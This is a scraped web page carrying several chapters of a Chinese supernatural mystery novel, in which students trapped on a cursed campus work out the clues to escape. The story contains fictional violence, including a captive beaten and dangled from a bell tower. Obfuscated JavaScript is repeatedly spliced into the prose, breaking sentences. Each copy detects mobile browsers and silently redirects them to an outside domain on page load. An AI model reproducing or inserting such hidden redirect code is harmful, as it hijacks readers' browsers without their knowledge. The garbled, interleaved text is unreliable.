p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350173|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 蔚迟将沙发让给了顾佳佳和彭慧,自己搬了几条凳子拼起来睡。 没过一会儿,他感觉背后窸窸窣窣的,回头一看,是纪惊蛰悄咪咪地在他旁边也摆了一条椅子,跟他的这一条严丝合缝地挨在一起。 蔚迟:“你干什么?” 纪惊蛰:“睡觉啊。” 蔚迟:“你挨着我干什么?” 纪惊蛰:“我害怕。” 蔚迟:“你怕你跟杨可玩那么开心?” 纪惊蛰估计找不到什么说辞,沉默了两秒,忽然把他抱住按倒,一叠声儿的“嘘嘘嘘嘘快睡快睡吧!” 蔚迟懒得理他,自己睡自己的,眼睛刚闭上,就听到顾佳佳在那边小声跟彭慧介绍:“他俩是一对儿……” 彭慧:“噢……” 他想跟顾佳佳说这个不用讲解,张了张嘴,又觉得无趣,就装没听到了。 但事情并未如他们所想般和平,当晚还是发生了事情。 蔚迟睡觉之前被纪惊蛰强行按着枕在自己的胳膊上,晚上感觉脖子一空,就醒了,起来发现纪惊蛰也起来了,站在门口往外看。 他走过去小声问:“怎么了?” 纪惊蛰:“又来了。” “什么?” 纪惊蛰:“你听。” 是昨晚也出现过的,人走动的声音。 时快时慢,时断时续,鞋底很硬,在楼廊中有很响的回音。 纪惊蛰说:“我想去看看。” 蔚迟拉住他的手腕:“太危险了。” “我听过了,从上面来的,像校长室。”纪惊蛰拍了拍他的手,很温柔又很强硬地把他的手拿开了,保证道,“我会很小心的。” 蔚迟:“那就一起。” 纪惊蛰在黑暗中沉默了一会儿,说:“那就一起。” 他们小心潜行出去,朝那脚步声所在的方向行去。 那脚步声果然从中央行政楼下来,蔚迟眼尖,首先看到了那人影,便拉着纪惊蛰躲在墙后面等着。 从身形来看那是个偏瘦的男人,不高,大概一米七出头,一身黑。 蔚迟和纪惊蛰又跟了他一会儿,在一个拐角后,那人忽然消失了。 蔚迟的心一紧,心说难道这也是个死人? 纪惊蛰却忽然转向另一条隐秘的走道:“在那儿!” 夜晚的教学楼太安静了,那人大概也发现了后有追兵,突然加快了脚步。很快,三人就从行走—跟踪模式转为了飞奔—猛追模式。 纪惊蛰和蔚迟身高腿长,很快就缩短了与那人影的距离,几次拐角处蔚迟都看到了他的脸,可这人戴了口罩,看不全。 追逐间三人又跑回了生物楼。 醒来发现蔚迟和纪惊蛰都不见了的高求索正给门开了条缝,迎面就见一道瘦削的黑影冲了过来,登时门也不会关了,往后一退,一声大叫:“我擦!” 这声吼把那人影吓得一个趔趄,重重摔在地上,还滑出去好远,正好滑到高求索脚边,高求索一惊一乍地退了一步避开了那人,跟着又吼了一声:“我擦!” 纪惊蛰冲上去把人制服,蔚迟扯下他的口罩,闻声凑到门边来的孙永一看,脱口叫道:“社长?” 32. 三青大学13 此人正是三青大学狼人杀社社长曹笙,由于在各个团委社团里钻营扎寨吃相难看,又惯于诱骗新生,在学生里风评很是不佳。 曹笙看了孙永一眼,反射性地拉出一个肤浅而油腻的微笑,道:“嗨。” 纪惊蛰又按了他一下,让他脸贴着地:“嗨个头嗨。” 蔚迟问:“你去校长办公室做什么?” 曹笙翻着眼睛看蔚迟:“什么校长办公室?我没有去校长办公室!” 蔚迟充耳不闻:”你拿走了什么?” 曹笙:“你听不懂人话吗我没有去过……” 纪惊蛰忽然起身,把曹笙也揪起来,三步并两步走进教室走到窗边,先把曹笙的头往窗户上一撞,在人晕眩的功夫又把窗户打开,将曹笙半个身子都按到了外面去。 曹笙并不瘦小,怎么都是个成年男人,被纪惊蛰拎在手里却毫无还手之力。纪惊蛰的动作太大也太快,直到整个人都悬在了半空中,曹笙才有了点真实的感觉。 他听到这个拎着他的恶魔般的男人压低声音在他耳边说:“你最好搞清楚现在的状况。” 他的腿肚子都在打颤,但还是强硬地反问道:“你还想杀了我不成?” “这不是当然的吗?”纪惊蛰困惑地看着他,仿佛听到了什么匪夷所思的笑话,“你从这里掉下去,’pong——’,有人会来为你讨公道吗?” 他吞了吞口水:“……大哥,你先放我下来……” 纪惊蛰:“问你什么,你就答什么,明白?” 曹笙点头如捣蒜:“明白。” 结果纪惊蛰刚把他揪回来扔在地上,就见那家伙屁滚尿流地爬起来,朝蔚迟他们那边一跑,指着纪惊蛰道:“那家伙要杀我!” 纪惊蛰心蓦然一紧,条件反射般地看向蔚迟,却没有对上蔚迟的视线。 蔚迟面无表情地看着曹笙,凉凉道:“哦,那又怎样?” 纪惊蛰忽然不可遏制地翘起嘴角。 他走过去,再次按住曹笙的后颈,感受着手掌下皮肤恐惧的抖动,说:“问你什么,你就答什么,还要我再说一遍吗?” 曹笙面如土色:“不用了……” 蔚迟:“你在校长办公室,拿了什么?” 曹笙说:“我就是去翻了一下,没有拿什么。” 纪惊蛰又踹了他一脚,给人踹出一声惨叫。 曹笙干嚎了一阵,蔚迟不紧不慢道:“是一张字条吧?” 曹笙还维持着被纪惊蛰踹了一脚的惨样,惊恐地看着他。 蔚迟:“写了什么?” 曹笙张嘴也不是,闭嘴也不是,索性低下头,又扛了一会儿,蔚迟忽然拍了拍他的脸:“不敢给别人看?那就带在身上的吧?这么想被搜身吗?” 曹笙的嘴抽了抽,最后从裤腰带里面摸出纸条。 上书:我从十三楼跳下,见到了***** 最后是一串意义不明的符号。 蔚迟又拍了拍他的脸,这次拍得非常响,想必没少留力。 曹笙疼得呲牙咧嘴,想吼他,结果被一旁虎视眈眈的纪惊蛰一震,又偃旗息鼓,嘟囔道:“我什么都给你们了,你们还要怎样?这事我也是受害者,我什么都不知道……” 蔚迟没了耐心,表情看似没有变化,却让曹笙抖了一抖。最后,蔚迟还笑了一下:“你是非要打一棍子才走一步是吧?” 曹笙:“我真的什么都不知道!” 蔚迟:“你改了哪个字?” 曹笙又抖了一下。 蔚迟:“要我说出来吗?” 曹笙:“……你到底怎么知道的?” 纪惊蛰把曹笙又是一提,往窗台上一按:“你废话太多了。” 曹笙这次居然不抖了,挣扎着看向蔚迟:“我就是说了,也会死对吧?” 蔚迟未置可否:“看你表现。” 曹笙:“我要你的保证,只要我说了,你放我一命。” 纪惊蛰又把他往外面拽了一寸:“你觉得自己还可以谈条件?” 曹笙脖子都憋红了:“要是我死了,你们就永远不知道我改了什么了!反正都要死,我还不如拉垫背……” “不就是把‘·’改成了‘楼’么?”蔚迟又笑了一声,“这有什么难的?” 曹笙一瞬间目眦欲裂,面如死灰:“你到底是怎么……” 蔚迟便确定自己猜对了。 校长其实是左撇子,这只要观察贴在教学楼走廊里的毕业照片就能看出来——校长上任八年来都是左手颁奖的。但校长办公室那支没盖笔帽的钢笔放在右边,这说明最后用了校长那支笔离开办公桌的并不是校长本人。 结合当时用铅笔拓下来的“楼”字,可以判断这句话中的“楼”字被修改过,但又没有修改痕迹,可见原来的那个字是包含在“楼”字的笔画里的。 所以那句话是——我从十三(?)跳下,见到了***** 再联想到校长对13的避讳,结合语义推断:13天?13年? “天”和“年”都无法用“楼”字直接修改,但“·”可以。 高求索接过纸条,念了出来:“我从十三点跳下,见到了……” 顾佳佳问:“你认得出来吗?” “阿……阿乌洛钦……”高求索发了个奇怪的音,推了推眼镜,突然回身找到书包,从里面翻出一本从图书馆带出来的书,用手电筒打着光开始狂翻,最后定在一页,再一次念出了那个奇怪的发音,说:“是这个宗教里的一个专有名词,大概类同于我们的‘往生之地’的概念。” 孙永:“所以连起来是……” 高求索:“我从十三楼跳下,见到了‘往生之地’。” 彭慧问:“会是出口吗?” 蔚迟道:“应该是。” 他又看向被纪惊蛰丢回墙角的曹笙,问道:“你还有什么要说的吗?” 曹笙:“我其实还知道一些事,只要你们不杀我……” 蔚迟摆摆手打断他,跟纪惊蛰说:“他什么都不知道了,动手吧。” 纪惊蛰:“得嘞!” 凌晨三点,蔚迟被女孩的哭声惊醒,看到顾佳佳跪在一张空板凳面前哭。 那是绑刘知远的板凳。 他在昨天死去的时候消失了。 蔚迟走过去拍了拍顾佳佳的肩膀。顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350174|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳佳没什么反应,还是哭。 被绑在刘知远旁边板凳上的曹笙倒是吓得不轻,一个劲儿挣扎,可惜嘴巴里被塞了抹布,绷得脸红脖子粗,也没能闹出什么动静。 翌日,彭慧留下来陪着顾佳佳,高求索也留下来看着曹笙,由另外三人出去做最后的确认。 蔚迟基本上已经想明白了这其中的关窍——这种世界运行的机制。 首先,会发生一场惨烈的意外,比如医护人员大规模屠杀,和这次的食堂坍塌。 然后,会有一群怪物在这个世界横行。市二院里的是医护人员,而这个世界,是在食堂事件中像杨可一样第一批死去的人——这些人即使到了死亡时间也并不会消失,而是继续以人类的皮囊和行为在学校中游荡,在夜晚降临时将其他活人骗上天台推下去。 而在这种世界中的逃生路线却并没有多么复杂,只要留心观察,并且一直停留在那条逻辑里,其实并没有太大阻碍——与古陵墓的建筑师为自己留的逃生通道一样,只要找到那个隐蔽的入口,就能悄悄溜出去。 心脏——查房时间表——太平间——包括最后的密码锁,都是一以贯之的一套逻辑、前后贯通的提示。 而这个世界是:时间——亮灯——跳楼。 在市二院,只要掌握查房时间就能逃过一劫,而在这里,宿舍亮灯——就是死亡触发条件。 而宿舍亮灯,很有可能代表着——这个宿舍有人已经死了。 是谁? 纪惊蛰一直和自己在一起,而孙永和高求索都是在操场点名时才遇到的,那么是谁?是高求索还是孙永? 他们明明是一间被选中的宿舍,幸好纪惊蛰把灯关了,那个“死人”才没能展开行动? “蔚迟……”走在他身边的孙永越走跟他靠得越紧,刚刚还想来抱他的胳膊,被纪惊蛰制止了,还被冷嘲热讽了一顿。但这并挡不住孙永心中的恐惧,他又挨蔚迟近了一点,确认道,“你确定这个转角转过去不会有死人吧?” 现在的信息表明,通道大概会在今天的13点打开,而上午的时间还可以利用起来,蔚迟这已经是第二次进入这种世界了,悲观地希望多收集一点情报,以备不知会不会再遇上的下一次。 现在他们正要去宿舍看一看。 “不会。”蔚迟道,“我说过了,白天是安全时间……” 话音刚落,他们拐过那个转角,兜头就是一个黑影罩下来。 蔚迟只感觉到一股巨大的拉力把自己一拽,然后就是一阵天旋地转的翻滚——纪惊蛰抱着他滚开了,不然他肯定会被掉下来的那个人砸个骨肉支离。 “卧槽啊蔚迟!我信你个鬼——”孙永走在他外侧,转弯后就落在他稍后面一点,可谓是生死一线,顿时鬼哭狼嚎,“你奶奶的安全时间!” 蔚迟没理他,低头去看这位差点要了他小命的死者——白衬衫配浅蓝色背带裤,白色运动鞋。虽然是脸着的地,但别在刘海上的黄色发夹还坚强地恪尽职守。虽然看不清脸,单看这身平庸而幼齿的打扮,大概是个年纪很小的女生,不超过二年级。 ——为什么? ——为什么白天就有人死了? 33. 三青大学14 “曹笙!!!” 顾佳佳是被一声怒吼吓清醒的。 刘知远当着她的面消失这件事,给她的打击比想象中要大。她必须承认这些怪力乱神的事情真的介入了她的生活、介入了她的未来、夺走了她的爱人,所造成的阴影她不知道能不能在可期或不可期的以后消散。 她跟刘知远是青梅竹马,在一起已经十年了,她还清晰地记得他在小学揪她辫子的场景。 十年前她就把他编入了自己的未来,十年之后的现在依然如此……不,应该说直到昨天依然如此,而在亲眼看到那人不科学地凭空消失以后,这种坚持似乎在刹那间出现了一点动摇…… 她真的能接受跟一个非人的另一半在一起,度过一生这么长的时间吗? 她的脑中像走马灯一样反反复复地出现她们这些年在一起的场景:刘知远的家庭生活并不幸福,有一个酗酒成性、酒后暴力的父亲,和一个软弱无力的母亲。刘知远从那个扭曲的环境中长大,对人生、前途、光明都充满了质疑,只有和她在一起的时候能感觉到平静。 她是在交往的第二年发现他的问题的。 他对她的依赖远远超过了正常的度,他曾多次提到“没有你我就活不下去”。 她知道这是不健康的关系,她也尝试过解决或者缓解这个问题,最后都失败了。她放不下他,也离不开他,她最终答应要做他的“妈妈”。她们都是残缺的人,有追求幸福的权利。只要不伤害别人,没人可以对她们的生活指手画脚…… 而所有回忆都以恐怖结尾。 正当她沉浸在这个未知、迷茫、恐怖而支离破碎的未来中的时候,她听到外部世界的一声怒吼,那样愤怒、清脆、掷地有声。 她循声望去,看到从大门口冲进来一个人。 是蔚迟,她刚认识的一个朋友,看起来不近人情,身上却有一股莫名的信念感,让人觉得安全。 她看到蔚迟冲到她身边,拎起她旁边的一个人,那人还被绑在椅子上,蔚迟一拖,椅子和地面摩擦出一声刺耳的噪音。 蔚迟一拳下去,打在那人左脸上,连人带椅子都翻倒下去。 她第一次看到他这么生气的样子。 曹笙完全懵了,反应过来之后开始像死鱼一样疯狂挣扎,但他嘴里还塞着抹布,依然没能造成什么声势。 蔚迟直接把他的抹布抽了。 于是他便能说话,扯开嗓子骂道:“你有病吗?我什么都告诉你们了,你还有什么不满意?” 蔚迟二话不说又揍了他两拳。 曹笙被揍得晕头转向,吐了口带血的唾沫:“你干什么?” 蔚迟蹲下身俯视他:“新月会议,对吧?” 蔚迟他们从那个坠楼的年轻女孩身上找出了她的学生卡,又在宿舍阿姨的名册上找到了她的宿舍,上去找到了她的室友。 宿舍门上贴着一行字:“修仙俱乐部”。 这是个全员宅女的宿舍,从每间床的装饰风格就可以看出来,搞二次元的搞二次元、追星的追星、打游戏的打游戏,因为作息时间非常不同,大概这宿舍全天就没有个能亮灯的时候。 阴差阳错,这个宿舍似乎逃过了一劫。 跳楼的女孩叫邱明月,她的床位挂的是深蓝色的床帘,星空样式,书架上放了不少稀奇古怪的东西,整个风格阴郁而深邃。蔚迟他们向其他三个人询问她的情况,得到的信息是——邱明月是个极其内向的女孩,一天到晚喜欢搞些什么神神道道的纸牌……占卜、塔罗什么的,经常会去参加什么“新月会议”。邱明月有个姐姐在另一个宿舍,她一般是和她姐姐一起行动,基本不与舍友们有什么往来。 “新月会议?”孙永是社交小王子,全学校的社团几乎都混迹过,“是那个狼人杀社团的活动吗?” “好像是这个。”玩游戏的那个室友抽空回答,“谁知道她在搞什么?昨天都还去了。” “昨天?”蔚迟问,“学校都停摆了,所有社团活动都应该延期了吧。” “谁知道呢?她那社团就是破事多。” 床上熬夜追番的室友扔下一个玩偶,刚好砸到了孙永:“你们有完没完?没看到有人睡觉呢?” 退出门后,孙永压低声音跟蔚迟说:“塔罗牌跟狼人杀还有关系?” 蔚迟没说话,孙永注意到他脸色苍白,神色郁郁,像是竭力忍耐着什么。 纪惊蛰接道:“大概只是不想呆在宿舍里吧。” 但蔚迟很清楚发生了什么。 “你们的‘新月会议’昨天才开过吧?”蔚迟冷冷地看着曹笙。 他之前听杨可吐槽过这个‘狼人杀社团’——他自认和杨可不是很熟,但杨可似乎很愿意和他说话,经常有事没事就串班来找他,他专注实验,左耳进右耳出,但好歹听过,也恰好记得这一段——曹笙其人,高考进来是八年硕博连读,期间留级一次休学一年,拢共在学校混了快十年,在学生中间虽然风评不佳,但凭他精于世故油腔滑调的油腻样子,在新生中间还是屡屡得手,特别能骗到那些性格内向其貌不扬的小姑娘。 “狼人杀社团”曾经是学校里很辉煌的一个社团,活动很多,曹笙也不过就是其中一个普通社员而已。可惜这学校里谁也没他能熬,拢共赖了快十年,再怎么辉煌的前辈都给他熬走了,最后剩他接手了这个社团。在学校待过一段时间的人没人稀得搭理他,甚至都懒得揭穿他,而他就十分厚颜无耻地借此诱骗新生,在新生们醒悟离开后,又会去哄骗下一届……每周都会开一次“新月会议”,大小快三十的人,不要逼脸,在夜幕和游戏的掩盖下,在未经世事的年轻人面前表现出一副挥斥方遒、高谈阔论的样子……而事实上,这世上就是会有很多未经世事的女孩会受他的骗。杨可说,社团几乎可以说是曹笙的“后宫”。 “你把你的字条给他们看了。”蔚迟揪起曹笙的衣领,一字一顿问:“你让那些比你小的孩子替你去试?” 曹笙也被揍出了火气,梗着脖子道:“我只是告诉她们可能的自救方法!” 蔚迟又揍了他一拳:“那你怎么不自己去试?” 邱明月的表姐就是彭慧宿舍的蒋方圆,昨晚十点之后坠楼死亡,从‘新月会议’上回去的邱明月很可能目击了过程、至少见到了尸体。 现在是白天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350175|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,教室里可不止他们这几个人,蔚迟的其他师兄弟来了不少。 这时候纪惊蛰也回来了,孙永跟在后面,都站在门口望着这边。 曹笙尖锐又脆弱的自尊心被这越来越多的人刺痛了,吼道:“那是她们自己愿意的!我又没有逼她们!” 这一通吼完,曹笙便感觉到蔚迟的视线沉沉地压下来,竟然让他有点喘不上气。但蔚迟什么都没有说,忽然一拳揍在他肚子上,把他打得脱了力,又解开他的绳子,提着胳膊拽着他往外走。 他下意识地知道不能去,但根本比不过蔚迟的力气,只能被拖着向前。他边挣扎边哀嚎:“你到底要干什么?” “跟我走。”蔚迟说道,却不是在对他说,而是对其他人说。 蔚迟拎着曹笙大步流星,一路气都不喘一口,上了钟楼。其他人也陆陆续续地跟着他上到顶层,古旧的黄铜大钟就在旁边。 蔚迟径直把曹笙拎到围栏上,曹笙想跑,蔚迟又一拳打得他直不起腰来。 曹笙膝窝以外都悬在外面,全靠蔚迟拎着他一条胳膊,钟楼少说四十米高,蔚迟一放手他就能下去粉身碎骨。 曹笙只能抱着肚子哭:“你疯了!你疯了!杀人啦——” “我可是在救你。”蔚迟看了看手机,“还有两分钟,事情就结束了。” 旁边忽然伸出一只手拉住了曹笙的另一边肩膀,让他不再如此摇摇欲坠。 蔚迟转过去,一眼撞进纪惊蛰蜜色的眼睛。 “蔚迟!你想清楚!”纪惊蛰看着他,平日里温和柔软的眼睛里仿佛酝酿着一场风暴,“万一错了呢?” “那就试错成功。”蔚迟道,“我们就排除这个错误解法。” 纪惊蛰道:“那他就死了。” 蔚迟:“差他一个吗?” 纪惊蛰在蔚迟凌厉的眼神下丝毫不退:“但不该是你。” 蔚迟又与他对视几秒,忽然噗嗤笑了一声:“你什么时候有了这么泛滥的同情心?” 纪惊蛰提高了声音:“我不关心他,我关心的是你!” “那你收起你的关心吧。”蔚迟转开脸去,“我不需要。” 这时黄铜大钟忽然发出了震耳欲聋的鸣响,因为离得太近,众人感觉五脏六腑仿佛都要被震出来了。 下午一点——也就是13点钟,到了。 蔚迟忽然横跨一步,将纪惊蛰撞开,理所当然,纪惊蛰松开了曹笙。 在曹笙的惨叫声中,在蔚迟即将用力把曹笙推出去的前一刻,一声清脆的孩童笑声划破长空,随即是一段欢快的纯音乐——是全校广播的前奏。 广播员以活泼如珍珠乱弹的语调说:“明天就是期中考了,为了有亮眼的成绩,学校希望大家能做最后冲刺!希望大家今晚把所有灯都打开,古人有悬梁刺股,今我有挑灯夜战!我们会做观察记录,不开灯的小懒虫们都有惩罚哦!” 被这么一打岔,蔚迟就没有推。 钟楼上,所有人都沉默了好一会儿。 孙永干笑了一声:“咱们学校还有期中考?” 高求索道:“Ms杨的英语课会有期中考。” 34. 三青大学15 蔚迟忽然意识到。 ——广播,广播也是一条提示。 一开始,是广播通知说“宿舍灯亮了的同学可以宿舍”,但事实上,“亮灯”却高度疑似死亡触发条件,这意味着,广播说谎了。 可以简单地理解为——反着听广播,广播说要开灯,那就关灯;如果从更本质的角度去理解,广播本身是一种提示——即这个世界中,一些提示需要反着去理解。 开灯和关灯颠倒了,所以13和1点也可能颠倒。 电光火石间,纪惊蛰反应过来,探过身绕过蔚迟,拽住曹笙的衣领给他拽了回来,扔在钟楼的角落里。 蔚迟任他做完这一切,没管他,转而抬起头看了看灯。 钟楼顶部是古罗马尖顶款式,在锥顶内部,也就是黄铜大钟的正上方,有一盏黄色的感应灯,会在整点时分,钟响的时候跟着亮起。 这盏灯亮度不高,又在尖塔内部,很少有人会注意到这件事。 蔚迟会知道,也是一次机缘巧合——那一回他的反应实验失败了四百多次,课题进度一筹莫展,心态临近崩溃,为了冷静下来,绕着操场走了二十多圈。走累了就往看台上一坐,开始给纪惊蛰打电话,打几十个又起来暴走。看台就正对着钟楼,他一边抽烟一边听着耳机里一遍又一遍“您所拨打的电话已关机”,一边盯着那座在黑夜里显得很庄严的尖塔看,很巧合地发现了那盏会在整点时分亮起的小灯。 现在,因为是白天,更看不出来,但这灯确实会亮。 他没看纪惊蛰,转身离开。 纪惊蛰吭哧吭哧拽起还在捂着肚子哀嚎的曹笙,很狗腿地小声说“再留你一条小命”,然后屁颠颠追蔚迟去了。 蔚迟不理纪惊蛰,但对待其他人还是跟平时一样,高求索问他什么情况,他不确定高求索身份,没解释太多,只说等晚上。 蔚迟回到工作室,往实验台前一坐,眼神都不给纪惊蛰一个。 纪惊蛰又将曹笙在椅子上绑好,然后搬了张小凳子坐在蔚迟旁边。先受气媳妇似的在那里做了一会儿委屈情态,见不奏效,又开始对人嘘寒问暖,一会儿说迟迟这饼干真好吃迟迟你要不要尝一口?一会儿又问迟迟你都多久没喝水了要不要喝点水我去倒?其死皮赖脸程度给坐在一边的其他人看得叹为观止,在如此恶劣的情势下,顾佳佳和彭慧还是没忍住发出了一串只有女孩子才能懂的笑声。 蔚迟倒是很稳得住,全程当纪惊蛰是空气。 连蔚迟的小师弟都看不下去了,凑上来很八卦地问:“师兄啊……这是你谁啊?” 蔚迟:“不认识。” 纪惊蛰嘤嘤嘤:“不不不你认识的认识的哥哥你认识人家的……” 蔚迟权当他是空气,连句“滚蛋”都不稀得说。 小师弟又问:“师兄……那绑在那儿的那个人又是谁啊?” 曹笙听到有人提到自己,登时人来疯地挣扎了几下,脖子憋得通红,青筋都凸起了。 纪惊蛰很机灵地接茬:“昨晚喝酒输了,大冒险呢。” “哦~”小师弟很懂地点点头,又看了曹笙一眼,露出一脸感同身受的痛苦表情,“可那抹布可是真抹布,啧啧啧,可真狠。” 这时,教室另一头传来一声很沉闷的“pong——”。 有人叫道:“杜渐行你试管炸啦——” 小师弟往起一蹦:“卧槽咋回事儿?”风风火火冲回去,之后的对话隐隐约约还能传来一点:“你通风量调的多少?”“%¥#”“温度呢?”“……%¥”“卧槽你居然盖都不拔——” 杜渐行一声哀嚎:“啊苍天啊——我怎么会没有拔盖——带我走吧!” 工作室其他人都被逗笑了。 纪惊蛰正在跟着笑,忽然听到耳根子边凉凉一句:“大冒险啊?” 纪惊蛰一时没反应过来:“啊?” 蔚迟表情分毫不动:“挺会说话啊?” 纪惊蛰心头登时警铃大作,立马化身狗勾,想象中的大尾巴摇得飞起:“那没有,只要在哥哥面前,我就恨自己嘴笨,一句话也不会说了。” 坐在后面的高求索大受震惊:“原来要这样才能谈恋爱。” 孙永:“呕——” “哥哥……”见蔚迟理了自己,纪惊蛰再接再厉,不屈不挠,凑到蔚迟身上,把下巴放在人肩膀上,可怜兮兮地蹭蹭,“原谅人家了没有?” 蔚迟还是不理他。 纪惊蛰开始在他身上扭动:“原谅啦原谅啦——哥哥原谅人家啦——” 蔚迟被他摇得没办法,正要开口,眼前的培养皿忽然发生了变化。 蔚迟:“嘘。” 纪惊蛰虽然不要脸,但察言观色的能力还是很强,立即闭嘴。 蔚迟仔细确认培养皿的各项数值——两天前,也就是去酿酒学教学楼找纪惊蛰的那天,他开始进行这次实验,受各种变量影响,反应时间为48小时左右,差不多就是这个时间出结果。 他看着变成紫红色的实验体,又记录下数值,反复确认了两次。 成功了。 这是一个反应结果完全随机的课题,变量组合有一千三百多种,结果与经验能力无关,全看运气。运气好的可能一次就成功,运气不好的有可能需要排除到最后一种可能性。 这是他的第八十四次实验,在这里成功,可以说是非常幸运。 见蔚迟在一系列眼花缭乱的操作后长长舒出一口气,大概是完成了,纪惊蛰在旁边很小声地说:“哥哥,有好事啦?” 蔚迟:“算是吧。” 纪惊蛰:“那你是不是原谅我啦?” 蔚迟挑眉看他一眼,没了办法,只得妥协道:“是。” 纪惊蛰夸张地抱了他一下:“耶!” 晚上七点,蔚迟来到操场,身后跟着名叫纪惊蛰的小尾巴。 蔚迟今天还是看清楚了亮灯的情况——是七点一到瞬时转换的,而并非纪惊蛰所说,是杨可开的灯。 但蔚迟不想去问纪惊蛰了。 他拿出手机,翻出昨天拍的宿舍窗户照片对比,发现昨天亮灯的三分之一全数保留,又增加了不少,一眼望去大概有三分之二的窗户都亮起了灯。 纪惊蛰在后面惴惴不安地问他:“迟迟,又发现什么了吗?” “没有。”蔚迟道,“回去吧。” 凌晨十二点四十多,蔚迟带着所有人再一次上了钟楼。 他们在来的路上有一段路离宿舍区不到二十米,只隔着一道绿化带,可以清晰地听到“pong、pong、pong”的声音。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350176|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那种声音非常独特,跟其他所有东西坠落、破碎的声音都不一样。 一行人低着头加快脚步走过那块区域,谁都没有说话。 曹笙是被绑着过来的,由孙永和高求索拉着。 纪惊蛰明白了蔚迟要干什么,也不缠着蔚迟了,就默默跟在后面。 十二点五十八分,蔚迟把曹笙拎到了栏杆上。 所有人在一旁保持静默。 五十九分,纪惊蛰忽然冲过去,一只手把曹笙拽下来,“Duang”的一声响;一只手拎起蔚迟的衣领,把他抵到了钟楼的立柱上。 纪惊蛰:“蔚迟,不要这样做。” “我对这条通道有信心。”蔚迟说,“让他先下去只是确保万无一失。” “我相信你。”纪惊蛰说,“我去替你试。” 蔚迟看了他一会儿,道:“你知道我不可能同意。” 纪惊蛰指着身后的曹笙:“但你现在要拿他试!” 蔚迟:“他跟你能一样吗?” 纪惊蛰的喉咙深处似乎蕴藏着火焰:“那你这样和他又有什么区别?” 蔚迟沉默了一会儿,说:“的确没有。”他看着纪惊蛰的眼睛,“我跟他其实没有区别。他会牺牲别的,来拯救自己觉得重要的东西。我也会。” “我说了,我相信你。你也该相信自己!”纪惊蛰凑近,几乎与他鼻尖贴着鼻尖,“我替你试。” 蔚迟低下头,没有说话。 纪惊蛰又指了指身后,说:“为了这么个东西,蔚迟,不值当。” 蔚迟忽然抬头,一双眼睛在黑暗中如同一口映照月光的井:“我是为了他吗?” 纪惊蛰:“我更不希望是为了我!” 那一刻,纪惊蛰的表情非常复杂,蔚迟确信自己没有在纪惊蛰的脸上看到过这样的神情——纪惊蛰在他心中一直停留在十八岁夏天的少年模样——愤怒、悲伤、无奈、痛苦、挣扎、茫然……太多的情绪蕴含在那一个瞬间,那很不像会出现在纪惊蛰脸上的表情,那甚至不像是能出现在任何一个年轻人脸上的表情,那么悲哀、那么苍老,好像累世的风云都在那一个电光火石间乍现了。 他觉得眼角一闪,看到一条白色的孤光划过了纪惊蛰的左脸。 过了很久他才明白,那真的是一滴眼泪。 这时,钟声响起。 一点钟整。 蔚迟抬头看向塔顶,那盏小灯没有亮。 的确如此。 校长是个虔诚的信徒,但同时也是个光荣的党员——他不能光明正大地传/教,只能在一些细枝末节的小地方搞事情,比如这盏小灯。 现实中也许这盏灯是13点不亮,而在这个世界中1和13颠倒了……之类的。 不过可以确定的是,这又是一条清晰的提示。 颠倒的13点——颠倒的灯——字条的提示——熄灯的钟楼。 是很确定的结果。 “我知道了。”蔚迟点点头,看似放弃了,朝纪惊蛰身后努努嘴,“但那好像家伙被你摔死了。” 在纪惊蛰回头去看曹笙的一瞬间,他感觉到身旁划过了一丝风,然后他便意识到发生了什么,直接扑到栏杆边去抓,却只摸到一片冰冷的衣角。 “蔚迟!!!” 35. 三青大学16 在蔚迟跳下去之后,伴随着两个女孩子的尖叫,纪惊蛰也毫不犹豫地跟着跳了下去。 几个人都趴到栏杆边去看,却没有在地上发现尸体,而高求索坚称自己看到了一点金色的尾迹。 顾佳佳:“……那我们?” 高求索:“我认为情况还需要……” “跳吧。”彭慧说,“佳佳,咱跳吧。” 顾佳佳和她对视一眼,点点头:“好。” 然后两个女孩手拉手地跳了下去。 这一回,高求索和孙永可以清楚地看到事情发生的全过程——她们跳入了一面悬空的,金色的“门”里,然后消失了。 高求索和孙永对视一眼,互相鼓励和打气不在AI学霸的字典里,高求索顿了一下,自顾自地爬栏杆。因为太不灵活,还没能爬上去,孙永帮了他一把。 高求索便也消失了。 轮到孙永。 他双手抓住栏杆,深吸一口气,抬起一条腿跨上栏杆,然后往下看了一眼。 